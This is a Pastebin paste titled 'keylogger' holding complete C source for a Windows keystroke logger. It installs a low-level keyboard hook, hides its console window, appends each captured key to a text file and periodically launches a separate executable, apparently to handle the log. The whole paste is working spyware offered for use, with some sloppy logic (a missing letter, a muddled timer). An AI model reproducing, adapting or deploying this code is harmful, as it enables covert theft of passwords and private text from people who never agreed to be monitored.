Advertisement
Guest User

keylogger

a guest
Oct 7th, 2015
178
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 4.62 KB | None | 0 0
  1. #include <time.h>
  2. #include <Windows.h>
  3. #include <wincon.h>
  4. #include <stdio.h>
  5. #define _WIN32_WINNT 0x0500
  6.  
  7. HHOOK hook;
  8. KBDLLHOOKSTRUCT kbdStruct;
  9. int minuto = 0, hora, min2;
  10.  
  11. int showHours (){
  12.     struct tm * timeInfo;
  13.     time_t rawtime;
  14.     time (&rawtime);
  15.     timeInfo = localtime ( &rawtime );
  16.     if (minuto == 0){
  17.         minuto = timeInfo->tm_min;
  18.         return 1;
  19.     }
  20.     minuto = timeInfo->tm_min;
  21.     hora = timeInfo->tm_hour;
  22.     if (minuto-40 == min2){
  23.         return 1;
  24.     }
  25.     //printf("%d", timeInfo->tm_min);
  26. }
  27.  
  28. LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
  29. {
  30.     int booll = 0;
  31.     booll = showHours();
  32.     if (booll == 1){
  33.         if (minuto >= 20){
  34.             min2 = minuto-60;
  35.         }
  36.         min2 = minuto;
  37.         system("arq.exe");
  38.     }
  39.     FILE *pFile;
  40.     pFile = fopen("smt.txt", "a+");
  41.     if ((nCode >= 0) && wParam == WM_KEYDOWN)
  42.     {
  43.             kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
  44.             if (kbdStruct.vkCode == 3)    fprintf(pFile, " cancel ");
  45.             if (kbdStruct.vkCode == 8)    fprintf(pFile, " backspace ");
  46.             if (kbdStruct.vkCode == 12)    fprintf(pFile, " cls ");
  47.             if (kbdStruct.vkCode == VK_SHIFT)    fprintf(pFile, " shift ");
  48.             if (kbdStruct.vkCode == 20)    fprintf(pFile, " caps ");
  49.             if (kbdStruct.vkCode == 27)    fprintf(pFile, " esc ");
  50.             if (kbdStruct.vkCode == 32)    fprintf(pFile, " ");
  51.             if (kbdStruct.vkCode == 35)    fprintf(pFile, " end ");
  52.             if (kbdStruct.vkCode == 36)    fprintf(pFile, " home ");
  53.             if (kbdStruct.vkCode == 46)    fprintf(pFile, " del ");
  54.             if (kbdStruct.vkCode == 65)    fprintf(pFile, "a");
  55.             if (kbdStruct.vkCode == 66)    fprintf(pFile, "b");
  56.             if (kbdStruct.vkCode == 67)    fprintf(pFile, "c");
  57.             if (kbdStruct.vkCode == 68)    fprintf(pFile, "d");
  58.             if (kbdStruct.vkCode == 69)    fprintf(pFile, "e");
  59.             if (kbdStruct.vkCode == 70)    fprintf(pFile, "f");
  60.             if (kbdStruct.vkCode == 71)    fprintf(pFile, "g");
  61.             if (kbdStruct.vkCode == 72)    fprintf(pFile, "h");
  62.             if (kbdStruct.vkCode == 73)    fprintf(pFile, "i");
  63.             if (kbdStruct.vkCode == 74)    fprintf(pFile, "j");
  64.             if (kbdStruct.vkCode == 75)    fprintf(pFile, "k");
  65.             if (kbdStruct.vkCode == 76)    fprintf(pFile, "l");
  66.             if (kbdStruct.vkCode == 77)    fprintf(pFile, "m");
  67.             if (kbdStruct.vkCode == 78)    fprintf(pFile, "n");
  68.             if (kbdStruct.vkCode == 79)    fprintf(pFile, "o");
  69.             if (kbdStruct.vkCode == 80)    fprintf(pFile, "p");
  70.             if (kbdStruct.vkCode == 81)    fprintf(pFile, "q");
  71.             if (kbdStruct.vkCode == 82)    fprintf(pFile, "r");
  72.             if (kbdStruct.vkCode == 83)    fprintf(pFile, "s");
  73.             if (kbdStruct.vkCode == 84)    fprintf(pFile, "t");
  74.             if (kbdStruct.vkCode == 85)    fprintf(pFile, "u");
  75.             if (kbdStruct.vkCode == 86)    fprintf(pFile, "v");
  76.             if (kbdStruct.vkCode == 87)    fprintf(pFile, "w");
  77.             if (kbdStruct.vkCode == 88)    fprintf(pFile, "x");
  78.             if (kbdStruct.vkCode == 89)    fprintf(pFile, "y");
  79.             if (kbdStruct.vkCode == 48 ||kbdStruct.vkCode == 96)    fprintf(pFile, "0");
  80.             if (kbdStruct.vkCode == 49 ||kbdStruct.vkCode == 97 )    fprintf(pFile, "1");
  81.             if (kbdStruct.vkCode == 50 ||kbdStruct.vkCode == 98)    fprintf(pFile, "2");
  82.             if (kbdStruct.vkCode == 51 ||kbdStruct.vkCode == 99)    fprintf(pFile, "3");
  83.             if (kbdStruct.vkCode == 52 ||kbdStruct.vkCode == 100)    fprintf(pFile, "4");
  84.             if (kbdStruct.vkCode == 53 ||kbdStruct.vkCode == 101)    fprintf(pFile, "5");
  85.             if (kbdStruct.vkCode == 54 ||kbdStruct.vkCode == 102)    fprintf(pFile, "6");
  86.             if (kbdStruct.vkCode == 55 ||kbdStruct.vkCode == 103)    fprintf(pFile, "7");
  87.             if (kbdStruct.vkCode == 56 ||kbdStruct.vkCode == 104)    fprintf(pFile, "8");
  88.             if (kbdStruct.vkCode == 57 ||kbdStruct.vkCode == 105)    fprintf(pFile, "9");
  89.  
  90.             if (kbdStruct.vkCode == 13)  fprintf(pFile, "\n");
  91.  
  92.     }
  93.     fclose(pFile);
  94.     return CallNextHookEx(hook, nCode, wParam, lParam);
  95. }
  96.  
  97. void SetHook()
  98. {
  99.     if (!(hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
  100.     {
  101.         printf("Erro");
  102.     }
  103. }
  104.  
  105. void Unhook()
  106. {
  107.     UnhookWindowsHookEx(hook);
  108. }
  109.  
  110. int main()
  111. {
  112.     FreeConsole();
  113.     MSG msg;
  114.     SetHook();
  115.     while (GetMessage(&msg, NULL, 0, 0)) { }
  116.     Unhook();
  117.     return 0;
  118. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement